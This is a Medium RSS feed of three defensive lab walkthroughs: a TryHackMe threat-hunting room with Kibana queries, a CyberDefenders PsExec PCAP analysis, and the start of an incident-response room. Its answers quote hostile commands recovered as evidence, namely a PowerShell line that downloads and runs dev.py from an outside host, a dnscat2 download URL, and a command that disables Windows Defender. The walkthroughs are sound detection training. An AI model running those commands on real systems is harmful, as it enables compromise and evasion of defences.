<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by bakeery on Medium]]></title>
        <description><![CDATA[Stories by bakeery on Medium]]></description>
        <link>https://medium.com/@bakeery?source=rss-b58457e41536------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*-_os3k-7vM4-TwJt</url>
            <title>Stories by bakeery on Medium</title>
            <link>https://medium.com/@bakeery?source=rss-b58457e41536------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 11:16:14 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@bakeery/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Threat Hunting: Detecting Initial Compromise]]></title>
            <link>https://medium.com/@bakeery/threat-hunting-detecting-initial-compromise-2c395085f463?source=rss-b58457e41536------2</link>
            <guid isPermaLink="false">https://medium.com/p/2c395085f463</guid>
            <dc:creator><![CDATA[bakeery]]></dc:creator>
            <pubDate>Thu, 02 Jan 2025 18:26:02 GMT</pubDate>
            <atom:updated>2025-01-02T18:30:28.413Z</atom:updated>
            <content:encoded><![CDATA[<p>This room teaches how to detect early-stage cyber intrusions by identifying suspicious activities and correlating post-compromise actions. Participants will use ELK for log analysis, learn MITRE tactics, and develop skills to differentiate between benign and malicious behavior in a network. Ideal for improving threat-hunting capabilities.</p><p>If you want to practice and read the full walkthrough, you can check it out on TryHackMe here: <a href="https://tryhackme.com/r/room/threathuntingfoothold">Threat Hunting Foothold</a>. I will be summarizing the key content here, focusing on the most important points</p><p>Lets begin…</p><h3><strong>Task 1: Introduction</strong></h3><p>The task focuses on <strong>threat hunting</strong> to detect initial user or host compromise, emphasizing early detection of suspicious activities in an organization. As adversaries use sophisticated techniques like exploiting unpatched vulnerabilities and social engineering, security teams must proactively search for signs of intrusion to prevent further escalation.</p><p><strong>Learning Objectives:</strong></p><ul><li>Identify malicious activities indicating initial compromise.</li><li>Understand attacker strategies post-compromise.</li><li>Differentiate suspicious vs. benign events.</li><li>Learn MITRE tactics after a breach.</li></ul><h4>Prerequisites:</h4><p>Suggested prior completion of certain rooms:</p><ul><li><a href="https://tryhackme.com/room/windowseventlogs">Windows Event Logs</a></li><li><a href="https://tryhackme.com/room/btwindowsinternals">Core Windows Processes</a></li><li><a href="https://tryhackme.com/room/advancedelkqueries">Advanced ELK Queries</a></li><li><a href="https://tryhackme.com/room/introductiontothreathunting">Threat Hunting: Introduction</a></li></ul><p><strong>Setup:</strong> Start the <strong>Threat Hunting VM</strong> and access <strong>Kibana</strong> using the provided credentials. Logs will be analyzed from <strong>Filebeat</strong>, <strong>Winlogbeat</strong>, and <strong>Packetbeat</strong> indices.</p><p><strong>Emulated Network:</strong></p><ul><li><strong>JUMPHOST</strong>: Ubuntu server for external network access.</li><li><strong>WEB01</strong>: External-facing web application.</li><li><strong>WKSTN-1</strong> and <strong>WKSTN-2</strong>: Windows workstations.</li><li><strong>DC01</strong>: Windows Server, domain controller.</li></ul><h3><strong>Task 2: Initial Access</strong></h3><p>The <strong>Initial Access Tactic (TA0001)</strong> is about adversaries’ strategies to breach an organization and gain foothold in its network. This stage focuses on delivering payloads to systems, with goals like acquiring access through methods such as:</p><ul><li><strong>Social Engineering</strong> (e.g., phishing emails).</li><li><strong>Exploiting vulnerabilities</strong> (e.g., public-facing servers).</li><li><strong>Credential Spraying</strong> (e.g., using exposed endpoints).</li><li><strong>Malicious flash drives</strong> or <strong>cracked software</strong> installations.</li></ul><p><strong>Key Techniques for Gaining Access:</strong></p><ul><li><strong>Phishing</strong>: Targeting with malicious emails (e.g., links or attachments).</li><li><strong>Server Exploitation</strong>: Attacking vulnerable servers to execute code remotely.</li><li><strong>Credential Spraying</strong>: Trying multiple username and password combinations.</li><li><strong>Malicious Flash Drives</strong>: Using USB drives to inject malware into systems.</li><li><strong>Cracked Software</strong>: Distributing software with hidden backdoors for remote access.</li></ul><p><strong>Hunting Initial Access:</strong> The process of actively searching for signs of these techniques within the network. Some common scenarios include:</p><ul><li><strong>Brute-Forcing via SSH</strong> on a <strong>Jumphost</strong>: Look for multiple failed authentication attempts, then search for successful logins to verify potential access.</li><li><strong>Remote Code Execution</strong> via vulnerabilities in web applications like <strong>web01</strong>: Investigate unusual HTTP responses and web traffic patterns to detect potential attacks.</li><li><strong>Phishing via Links and Attachments</strong>: Hunt for suspicious file downloads or email attachments (e.g., from Chrome or Outlook) to detect phishing attempts and malware payloads.</li></ul><p>By correlating events, identifying attack patterns, and analyzing unusual behaviors, threat hunters can catch intrusions at the initial access stage, preventing further compromise.</p><p><strong>Answer the questions below</strong></p><p>Use the Discover tab on the left sidebar (via the hamburger button) to answer the question.</p><p>To begin answering the questions, ensure that the time and date settings in ELK are accurately configured. The date range should be set between July 3, 2023, from 00:00:00.000 to July 3, 2023, at 23:30:00.000. This will ensure that your queries and data analysis are conducted within the specified time frame for precise results. Let’s proceed with answering the questions.</p><h4>Question 1: What is the attacker’s successful authentication timestamp on the Jumphost server?</h4><p><strong>(Format: Nov 1, 2018 @ 13:45:00.000)</strong></p><p>To answer this question, perform a query on the Ubuntu server designated as <strong>JUMPHOST</strong>, which handles external network access. Focus on events categorized under <strong>authentication</strong> where the event status is <strong>Accepted</strong>. Specifically, search for SSH authentication logs indicating successful login attempts.</p><p>You can use the following query:</p><pre>host.name: jumphost AND event.category: authentication AND system.auth.ssh.event: Accepted AND source.ip: 167.71.198.43</pre><p>This query filters for authentication events on the <strong>JUMPHOST</strong> server where:</p><ul><li>The <strong>event category</strong> is authentication.</li><li>The <strong>SSH event status</strong> is Accepted.</li><li>The <strong>source IP</strong> matches 167.71.198.43.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*5O_TBEyUsj53uzaCKev4dg.jpeg" /></figure><p>Answer: Jul 3, 2023 @ 14:14:09.000</p><h4>Question 2: What is the name of the PHP file accessed by the attacker via the cat command after gaining successful code execution on WEB01?</h4><p>To answer this question, perform a query on <strong>WEB01</strong> to filter HTTP traffic with a destination port of 80 and a response status code of 200, indicating a successful request. Since the question specifies that the attacker accessed the file using the cat command, include this keyword in your search criteria.</p><p>Use the following query:</p><pre>host.name: web01 AND network.protocol: http AND destination.port: 80 AND source.ip: 167.71.198.43 AND http.response.status_code: 200 AND *cat*</pre><p>This query filters for:</p><ul><li>Events from the host <strong>WEB01</strong>.</li><li>Traffic using the <strong>HTTP protocol</strong>.</li><li><strong>Destination port</strong> set to 80 (standard HTTP traffic).</li><li><strong>Source IP</strong> of the attacker: 167.71.198.43.</li><li><strong>HTTP response status code</strong> of 200, indicating success.</li><li>Logs containing the keyword cat.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/1*rGQEKSN1lYSRj4CnXdtVhQ.png" /></figure><p>Answer: config.php</p><h4>Question 3: What is the name of the unusual process executed within the timeframe of update.lnk execution on WKSTN-2?</h4><p>To answer this question, perform a query on <strong>WKSTN-2</strong> to locate the event associated with the execution of update.lnk. After identifying this event, analyze the surrounding events to find any unusual processes executed in the same timeframe.</p><p>Use the following query:</p><pre>host.name: WKSTN-2 AND *update.lnk*</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TXR_Xb6XI_m3HV2BTEiL3A.png" /></figure><p>Then</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fEr7zfNAwSFdxgIPgsUNYg.png" /></figure><p>As we can see the process name is powershell</p><p>Answer: powershell.exe</p><h3><strong>Task 3: Execution</strong></h3><p>The Execution Tactic involves adversaries running malicious code after gaining initial access. This enables them to execute commands and establish further access. Common techniques include:</p><ol><li><strong>Command-Line Tools</strong></li></ol><ul><li>Abuse of PowerShell or Command Prompt (cmd.exe) to download and run staged payloads.</li><li>Example: Executing commands or scripts remotely via powershell.exe or cmd.exe.</li></ul><ol><li><strong>Built-in System Tools</strong></li></ol><ul><li>Use of Living-off-the-Land Binaries (LOLBAS) like certutil.exe, rundll32.exe, or mshta.exe to download and execute payloads.</li><li>Example: Downloading malware using certutil and executing encoded PowerShell commands.</li></ul><ol><li><strong>Scripting/Programming Tools</strong></li></ol><ul><li>Leveraging tools like Python, PHP, or Node.js to execute malicious code.</li><li>Example: Running a reverse shell script using Python.</li></ul><p><strong>Hunting Methodology</strong></p><ul><li>Focus on process creation and network connections using security tools like Sysmon.</li><li>Analyze unusual commands or high-frequency usage of command-line tools.</li><li>Filter noise, like repeated benign events, to highlight suspicious activities.</li><li>Investigate child processes spawned by suspicious parent processes for further insights.</li></ul><p>Key Indicators:</p><ul><li>Unusual process creation (e.g., PowerShell or cmd.exe by unexpected applications).</li><li>Network connections initiated by built-in tools or scripting engines.</li><li>Usage of encoded commands or signatures tied to known malicious activity.</li></ul><h4>Question 1: Tracing Back the cmd and PowerShell Child Processes Spawned by installer.exe</h4><p><strong>What is the first command executed via </strong><strong>cmd?</strong></p><p>To determine the first command executed by the attacker via cmd, you need to trace back to PowerShell and cmd child processes spawned by installer.exe. This can be achieved using the following query:</p><pre>host.name: WKSTN-2 AND process.parent.command_line: *installer.exe*</pre><p>Steps to follow:</p><ol><li>Execute the query to filter events on <strong>WKSTN-2</strong> where installer.exe is the parent process.</li><li>Review the results to identify child processes spawned by installer.exe.</li><li>Locate the child process associated with cmd.exe and examine its <strong>command line</strong> field to find the first command executed.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZYaS19jvgzaJ64yb2_UZ_w.png" /></figure><p>scroll down to see the first command</p><p>Answer: whoami /priv</p><h4>Question 2: Using the process ID of the PowerShell process spawned by mshta.exe, what is the destination IP of the network connections made by this process?</h4><p>Its just the attacker IP address given in th instructions</p><p>Answer: 167.71.198.43</p><h4>Question 3: Following the cmd.exe Process Spawned by Python</h4><p><strong>What is the command-line value of the </strong><strong>net.exe process?</strong></p><p>To answer this question, follow these steps:</p><ol><li>Identify the <strong>parent process ID (PID)</strong> of Python that spawns the cmd.exe process by filtering Windows events for process creation.<br>Use the following query:</li></ol><pre>host.name: WKSTN-* AND winlog.event_id: (1 OR 3) AND process.name: *python*</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_PPO6LtBWXnz_Jz7kqJOyQ.png" /></figure><ol><li>This query filters events on hosts with names matching WKSTN-* where:</li><li>The <strong>Windows event ID</strong> is 1 or 3, indicating process creation events. The <strong>process name</strong> is python.</li><li>Locate the <strong>parent PID</strong> of the Python process from the results.</li><li>Use the identified parent PID to trace the cmd.exe process and find the net.exe process it spawns. Update the query as follows, replacing 1832 with the actual parent PID:</li></ol><pre>host.name: WKSTN-* AND winlog.event_id: (1 OR 3) AND process.parent.pid: 1832</pre><ol><li>Review the results to locate the net.exe process and examine its <strong>command-line value</strong> under the process.command_line field.</li></ol><p>then we can use the process parend pid to obtain the answer with this command host.name: WKSTN-* AND winlog.event_id: (1 OR 3) AND process.parent.pid: 1832</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lbcb9ULUDREJi2OaxmniaQ.png" /></figure><p>Answer: net users</p><h3>Task 4: Defense Evasion</h3><p><strong>Overview</strong><br>The Defense Evasion tactic involves strategies that adversaries use to avoid detection by security systems during or after an attack. These methods include disabling security software, deleting logs, deceiving analysts, and bypassing security controls. Such techniques are often combined with execution tactics to successfully run malicious code while minimizing detection.</p><h4>Key Techniques and Hunting Scenarios</h4><ol><li><strong>Disabling Security Software</strong><br>Indicators showed attempts to disable Windows Defender on WKSTN-1. The Set-MpPreference command was executed by installer.exe, previously identified as malicious. Another command, MpCmdRun.exe -RemoveDefinitions, was executed by cmd.exe, spawned by Python with PID 1832. These actions suggest a deliberate attempt to bypass antivirus defenses.</li><li><strong>Log Deletion Attempts</strong><br>Logs were cleared on WKSTN-1, as indicated by Windows Event ID 1102. This action erases traces of adversarial activities, making it harder for security teams to investigate. The View surrounding documents feature can help identify the commands used to delete logs and provide additional context for the event.</li><li><strong>Execution through Process Injection</strong><br>Sysmon Event ID 8 (CreateRemoteThread) indicated that chrome.exe created a thread in explorer.exe, a common target for process injection. Chrome.exe was run by Clifford Miller’s account, while other processes were executed by the SYSTEM account. This highlights the use of process injection to execute malicious shellcode while evading detection.</li></ol><h4>Threat Hunter’s Mindset</h4><p>For each scenario, investigate further by correlating subsequent events generated after malicious activities, trace process lineage, and identify how malicious files or commands reached the compromised host. Understanding the extent of adversarial actions and their impact on the network is crucial for detection and mitigation.</p><h4>Question 1: <strong>What is the PID of the </strong><strong>cmd.exe process that executed</strong><br>powershell Set-MpPreference -DisableRealtimeMonitoring $true?</h4><p>To answer this question, search for events where the cmd.exe process executed the specified PowerShell command. Use the following query:</p><pre>host.name: WKSTN-* AND process.name: cmd.exe AND process.command_line: &quot;powershell Set-MpPreference -DisableRealtimeMonitoring $true</pre><p>The PowerShell command Set-MpPreference -DisableRealtimeMonitoring $true disables real-time monitoring in Windows Defender. Real-time monitoring actively scans for threats, so disabling it can leave a system vulnerable to malicious activity.</p><h4>Steps:</h4><ol><li>Use the query above to filter events on hosts matching WKSTN-*.</li><li>Locate the specific event where cmd.exe executed the PowerShell command.</li><li>Find the PID (Process ID) of the cmd.exe process in the process.pid field.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oK4W_4cDMstNllKbmBtS7w.png" /></figure><p>Answer: 428</p><h4>Question 2: Process PID of chrome.exe Targeted for Process Injection?</h4><p>To identify the PID of the chrome.exe process that was targeted for process injection:</p><ol><li><strong>Query for Process Injection Events</strong><br>Use the following query to filter for relevant events:</li></ol><pre>host.name: WKSTN-* AND process.name: chrome.exe AND winlog.event_id: 8</pre><p>This query targets hosts matching WKSTN-*.</p><p>The winlog.event_id: 8 specifically corresponds to events indicating process injection.</p><ol><li><strong>Review the </strong><strong>winlog.event_data Field</strong><br>Check the winlog.event_data.TargetProcessID field in the filtered results. This field contains the PID of the process targeted for injection.</li></ol><p>Process injection is a technique used by attackers to execute malicious code within the address space of another process (e.g., chrome.exe). This allows the attacker to evade detection and operate with the privileges of the injected process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uOUOmPivR0m-nC1uaz4Qeg.png" /></figure><p>Answer: 4240</p><h3>Task 5: Persistence</h3><p><strong>Definition</strong><br>Persistence (TA0003) involves techniques used by adversaries to maintain access to a compromised system or network, even after reboots or user logouts.</p><p><strong>Common Techniques</strong></p><ol><li><strong>Registry Key Modification</strong></li></ol><ul><li>Modifying Run or RunOnce keys to execute malicious scripts or binaries at startup.</li><li>Example: Using reg.exe or powershell.exe to alter registry settings.</li></ul><p><strong>2. Scheduled Tasks</strong></p><ul><li>Creating tasks (e.g., via schtasks.exe or Register-ScheduledTask) to execute malware regularly.</li><li>Example: Malicious PowerShell scripts scheduled every minute.</li></ul><p><strong>3. Creation of Backdoor Accounts</strong></p><ul><li>Using net.exe to create high-privileged accounts in the local administrators&#39; group.</li></ul><p><strong>Hunting Persistence</strong></p><p><strong>Scheduled Task Creation</strong></p><ul><li>Query winlog.event_id: 4698 to find task creation events.</li><li>Investigate task names, e.g., unusual ones like “Windows Update” with malicious PowerShell commands.</li></ul><p><strong>Registry Modifications</strong></p><ul><li>Focus on critical keys like:</li><li>Software\Microsoft\Windows\CurrentVersion\Run</li><li>Software\Microsoft\Windows\CurrentVersion\Explorer\Shell</li><li>Query winlog.event_id: 13 and refine results using known paths and suspicious processes (reg.exe, powershell.exe).</li></ul><p><strong>Key Indicators of Persistence</strong></p><ul><li>Unrecognized scripts or scheduled tasks at startup.</li><li>Malicious binaries linked to registry keys for execution.</li><li>Parent processes initiating suspicious registry modifications or task creations.</li></ul><p><strong>Next Steps for Threat Hunting</strong></p><ul><li>Backtrack parent processes of suspicious events (e.g., cmd.exe).</li><li>Investigate subsequent activities after persistence mechanisms are deployed to understand the attacker’s broader objectives.</li></ul><h4>Question 1: Name of the Parent Process of the cmd.exe Process Executing Scheduled Task Creation</h4><p><strong>What is the name of the parent process of the </strong><strong>cmd.exe process that executed the scheduled task creation?</strong></p><p>To answer this question:</p><ol><li><strong>Search for Scheduled Task Creation Events</strong><br>Use the following query:</li></ol><pre>host.name: WKSTN-* AND (winlog.event_id: 4698 OR (*schtasks* OR *Register-ScheduledTask*)) AND process.name: cmd.exe</pre><ul><li>winlog.event_id: 4698 filters for scheduled task creation events.</li><li>The process.name: cmd.exe ensures you only include events involving the cmd.exe process.</li></ul><p><strong>2. Identify the Parent Process</strong><br>Examine the process.parent.name field in the results to find the name of the parent process that spawned cmd.exe</p><p>Scheduled tasks are often used by attackers to persist on a system. Monitoring winlog.event_id: 4698 helps detect such attempts. By identifying the parent process, you can trace the source of the task creation and potentially discover malicious activity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sYqDeJBUyU3Wjyd-bTquJA.png" /></figure><h4>Question 2: Value of the Command Line Used to Execute the Malicious reg.exe for Registry Modification?</h4><p>To answer this question, follow these steps:</p><ol><li><strong>Filter for </strong><strong>reg.exe Process Events</strong><br>Use the following query to find relevant process pid</li></ol><pre>host.name: WKSTN-* AND winlog.event_id: 13 AND winlog.channel: Microsoft-Windows-Sysmon/Operational AND process.name: reg.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F37yUT1wvCDDn7NOQMk_vg.png" /></figure><ul><li>winlog.event_id: 13 corresponds to process creation events.</li><li>winlog.channel: Microsoft-Windows-Sysmon/Operational filters Sysmon events.</li><li>process.name: reg.exe filters for the reg.exe process specifically. as you can see above we obatined the process pid</li></ul><ol><li><strong>Use the Process ID (PID) to Filter for the Command Line</strong><br>Once you’ve identified the PID of the reg.exe process which is 5860 use the following query to extract the command line that was executed by that process:</li></ol><pre>host.name: WKSTN-* AND process.pid: 5860 AND process.command_line:*</pre><ul><li>process.pid: 5860 filters the query by the process ID.</li><li>process.command_line:* retrieves the command line used to execute reg.exe</li></ul><p><strong>2. Examine the Results</strong><br>Review the results, and you should be able to find the command line executed by reg.exe, which will be displayed in the last line of the output (as shown in the example image)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CMf9bML-kBjO7fKNxgOVgQ.png" /></figure><h3>Task 6: Command and Control</h3><p>The <strong>Command and Control (C2) Tactic (TA0011)</strong> involves adversaries establishing and maintaining communication with compromised systems to direct further attack actions. These communications can occur through various channels, including:</p><ul><li><strong>Standard network protocols</strong> like DNS, ICMP, and HTTP(s)</li><li><strong>Cloud-based services</strong> such as Google Drive or Telegram</li><li><strong>Encrypted custom HTTP(s) servers</strong> with obfuscated traffic</li></ul><p>The <strong>key objective</strong> of the C2 stage is to maintain control over the compromised systems and issue remote commands or transfer data, often blending malicious traffic with regular network activity to avoid detection.</p><h4>Key Techniques for Hunting C2 Activity:</h4><ol><li><strong>C2 over DNS</strong>: Adversaries use DNS queries, often with unusual subdomains or query types, to communicate. Investigating high counts of unique subdomains or unexpected DNS queries can help detect C2 activity. For example, unusual DNS queries for domains like golge[.]xyz or hexadecimal subdomains can indicate C2 over DNS.</li><li><strong>C2 over Cloud Applications</strong>: Adversaries may use cloud services (e.g., Discord) to route C2 traffic, mimicking normal cloud application traffic. Detection involves identifying unexpected cloud application access patterns from workstations.</li><li><strong>C2 over Encrypted HTTP Traffic</strong>: Malicious HTTP traffic to unique domains (like cdn.golge.xyz) with high outbound bandwidth can indicate C2 channels. Analyzing HTTP requests to unusual domains or endpoints can help identify C2 activities.</li></ol><h4>Investigation Workflow:</h4><ul><li><strong>Correlation</strong>: To understand malicious activity, correlate network traffic with the process initiating it (e.g., nslookup.exe for DNS C2 or installer.exe for cloud app C2).</li><li><strong>Backtracking</strong>: Trace events to find out how the attack began and what commands were issued post-compromise.</li><li><strong>Traffic Analysis</strong>: Use packet and network traffic analysis (e.g., unusual DNS traffic, high HTTP traffic to specific domains) and correlate with process logs to confirm C2 activity.</li></ul><h4>Question 1: What is the Link Downloaded Using PowerShell to Establish the C2 Over DNS?</h4><p>To answer this question, follow these steps based on the hint provided:</p><ol><li><strong>Search for </strong><strong>nslookup.exe Process</strong><br>The first step is to identify the parent process of nslookup.exe, which can help us trace back to the PowerShell command executed. Use this query to search for nslookup.exe events:</li></ol><pre>host.name: WKSTN-1* AND process.name: *nslookup.exe*</pre><ol><li>This will help locate the event involving nslookup.exe on the WKSTN-1 machine.</li><li><strong>Click on the Surrounding Events</strong><br>After executing the query, review the surrounding events to uncover additional details about the parent process.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AecYF6XKndV3BwjDwxTchg.png" /></figure><p><strong>3.Examine the Parent Process for PowerShell Command</strong><br>In the details under C:\Windows\System32\nslookup.exe, click the arrow to expand the information and reveal the full PowerShell command that was executed to download the C2 link over DNS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zl2SBDIwbcCpNyvY54aisw.png" /></figure><p><strong>4. Identify the Link</strong><br>Once expanded, you will be able to see the link that was downloaded via PowerShell to establish the Command-and-Control (C2) over DNS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jO12ymCXcFl4SH1t-tQSDQ.png" /></figure><p>Answer: <a href="https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1">https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1</a></p><h4>Question 2: After Investigating C2 Over Discord Events, What Command is Used to Download the Malicious dev.py Python Script?</h4><p>To answer this question, follow these steps:</p><ol><li><strong>Search for the </strong><strong>dev.py File</strong><br>Given the hint pointing to dev.py, we can filter the events by searching for this file. Use the following query:</li></ol><pre>host.name: WKSTN-1* AND *dev.py*</pre><p>2. This will help locate any events involving the dev.py script on the WKSTN-1 machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QqKXuV869JnhbGs8xEfodA.png" /></figure><p>Answer: powershell iwr <a href="http://www.oneedirve.xyz/321c3cf/dev.py">http://www.oneedirve.xyz/321c3cf/dev.py</a> -outfile C:\Windows\Tasks\dev.py; python3 C:\Windows\Tasks\dev.py</p><h4>Question 3: What is the Name of the Process That is Also Associated with cdn[.]golge[.]xyz?</h4><p>To answer this question, follow these steps:</p><ol><li><strong>Search for the Domain </strong><strong>cdn.golge.xyz</strong><br>Use the domain cdn.golge.xyz in the query to filter out related events:</li></ol><pre>host.name: WKSTN-1* AND *cdn.golge.xyz*</pre><p>This will help you find any events associated with the cdn.golge.xyz domain on the WKSTN-1 machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q0lb4LP_i-QUnTYPPa6rQQ.png" /></figure><p>Answer: update.exe</p><h3>Task 7: Conclusion</h3><p>In this room, you learned various threat-hunting techniques for identifying indicators of compromise and suspicious activities. The focus was on recognizing patterns associated with an attacker’s movements, such as initial access, execution of malicious commands, evading defenses, maintaining persistence, and establishing command and control. By correlating events across different stages of an attack, you can build a comprehensive picture of the threat actor’s actions. The room highlighted the importance of observing and linking parent-child process relationships and other key behaviors. This foundational knowledge prepares you for more advanced hunting techniques, like pivoting, in future rooms.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2c395085f463" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyberDefenders PsExec Hunt Lab Walkthrough]]></title>
            <link>https://medium.com/@bakeery/cyberdefenders-psexec-hunt-lab-walkthrough-2e28b2388ac9?source=rss-b58457e41536------2</link>
            <guid isPermaLink="false">https://medium.com/p/2e28b2388ac9</guid>
            <dc:creator><![CDATA[bakeery]]></dc:creator>
            <pubDate>Sat, 07 Dec 2024 11:11:12 GMT</pubDate>
            <atom:updated>2024-12-07T11:11:12.455Z</atom:updated>
            <content:encoded><![CDATA[<h3>Scenario:</h3><p>Our Intrusion Detection System (IDS) has raised an alert, indicating suspicious lateral movement activity involving the use of PsExec. To effectively respond to this incident, your role as a SOC Analyst is to analyze the captured network traffic stored in a PCAP file.</p><p>Q1. To effectively trace the attacker’s activities within our network, Can you determine the IP address of the machine from which the attacker initially gained access to our network?</p><p>Well, according to the scenario, the activity involves the use of PsExec, so we will focus on PsExec traffic. Upon opening Wireshark, I noticed that most of the traffic uses the SMB protocol. Therefore, I minimized the traffic by filtering for SMB2, which clearly revealed the attacker’s IP address</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qj3Lth4FiKwQSKQ80pM3NQ.png" /></figure><p>Answer: 10.0.0.130</p><p>Q2. To fully comprehend the extent of the breach, can you determine the machine’s hostname to which the attacker first pivoted?</p><p>I searched every nook and cranny to find the answer, not realizing it was right in front of me until I decided to look at the HINT, which says: ‘Use the filter ntlmssp.ntlmv2_response.nb_domain_name in Wireshark to locate the NTLM domain name, which reveals connected hostnames.&#39; To answer the question, simply type ntlmssp.ntlmv2_response.nb_domain_name in the filter and right-click on the first request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5sPRwTFJDuEdHHuVMUOOzA.png" /></figure><p>Then</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oiJRYH8c8IqenvjpaxsDEA.png" /></figure><p>Answer: SALES-PC</p><p>Q3. After identifying the initial entry point, it’s crucial to understand how far the attacker has moved laterally within our network. Knowing the username of the account the attacker used for authentication will give us insights into the extent of the breach. What is the username utilized by the attacker for authentication?</p><p>Still in our SMB2 write request, we can see the account name that was used. Navigate to SMB2 -&gt; SMB Header -&gt; Session ID to find the username</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gsTgmNpXsK7pgK7xQzOLHw.jpeg" /></figure><p>Answer: ssales</p><p>Q4. After figuring out how the attacker moved within our network, we need to know what they did on the target machine. What’s the name of the service executable the attacker set up on the target?</p><p>To answer this question, we just need to look directly below the Session ID in the image above, which reveals the service name used</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SdmXORQwc6rj6zQDu7aGsw.jpeg" /></figure><p>Answer: PSEXESVC</p><p>Q5. We need to know how the attacker installed the service on the compromised machine to understand the attacker’s lateral movement tactics. This can help identify other affected systems. Which network share was used by PsExec to install the service on the target machine?</p><p>Still under the same request, we can find the answer under: <em>SMB2 -&gt; SMB Header -&gt; Session ID:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YU1pma-HyY1AVAUupGcKnA.jpeg" /></figure><p>Answer: Admin$</p><p>Q6. We must identify the network share used to communicate between the two machines. Which network share did PsExec use for communication?</p><p>I spent some time analyzing the traffic, but it’s taking me longer than expected. After reviewing the hint, it says, PsExec often utilizes specific shares for command execution between machines. Check SMB communication for activity on these shares, and see if any file names include stdout, stdin, or stderr.. Therefore upon inspecting the packet by looking atstdout we got the answer</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CGpesU3exP-AhS47wZ30XQ.jpeg" /></figure><p>Answer: IPC$</p><p>Q7. Now that we have a clearer picture of the attacker’s activities on the compromised machine, it’s important to identify any further lateral movement. What is the machine’s hostname to which the attacker attempted to pivot within our network?</p><p>We can filter the traffic using ntlmssp.ntlmv2_response.nb_domain_name, which can reveal the hostname that the attacker attempted to pivot to within our network. The answer can be found in the SMB2 section -&gt; SMB2 header -&gt; Tree ID.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PkTDSLelZgnEjnC4jUYmlg.jpeg" /></figure><p>Answer: Marketing-PC</p><p>Yoo! Congratulations, you have sucessfully completed the challenge</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2e28b2388ac9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackme Incident Response Process Walkthrough]]></title>
            <link>https://medium.com/@bakeery/tryhackme-incident-response-process-walkthrough-468a7e3136f9?source=rss-b58457e41536------2</link>
            <guid isPermaLink="false">https://medium.com/p/468a7e3136f9</guid>
            <dc:creator><![CDATA[bakeery]]></dc:creator>
            <pubDate>Sat, 07 Dec 2024 06:29:21 GMT</pubDate>
            <atom:updated>2024-12-07T06:29:21.437Z</atom:updated>
            <content:encoded><![CDATA[<p>In this walkthrough, you’ll assume the role of an Incident Response Team (IRT) member, tasked with managing a potential security incident on a Windows workstation.</p><h4>Key Objectives</h4><ol><li>Understand the phases of the incident response process.</li><li>Apply this process in a practical, scenario-based environment.</li></ol><h4>Prerequisites</h4><p>This walkthrough is designed for Level 2 SOC analysts looking to enhance their skills. Familiarity with Windows OS and cybersecurity basics is recommended. Start with these foundational rooms:</p><ul><li><a href="https://tryhackme.com/r/room/windowsfundamentals1xbx">Windows Fundamentals 1</a></li><li><a href="https://tryhackme.com/r/room/windowsfundamentals2x0x">Windows Fundamentals 2</a></li></ul><p>For added context, consider exploring:</p><ul><li><a href="https://tryhackme.com/r/room/windowsfundamentals3xzx">Windows Fundamentals 3</a></li><li><a href="https://tryhackme.com/r/room/winincidentsurface">Windows Incident Surface</a></li><li><a href="https://tryhackme.com/r/room/becomingafirstresponder">Becoming a First Responder</a></li></ul><p>No advanced knowledge is required, but understanding common cyber threats like malware, cryptominers, and botnets will enhance your experience. This walkthrough is perfect for those aiming to bridge the gap between theoretical learning and hands-on incident response.</p><p>Incident Response (IR) is the structured approach organizations use to detect, respond to, and recover from cybersecurity threats, breaches, and attacks. 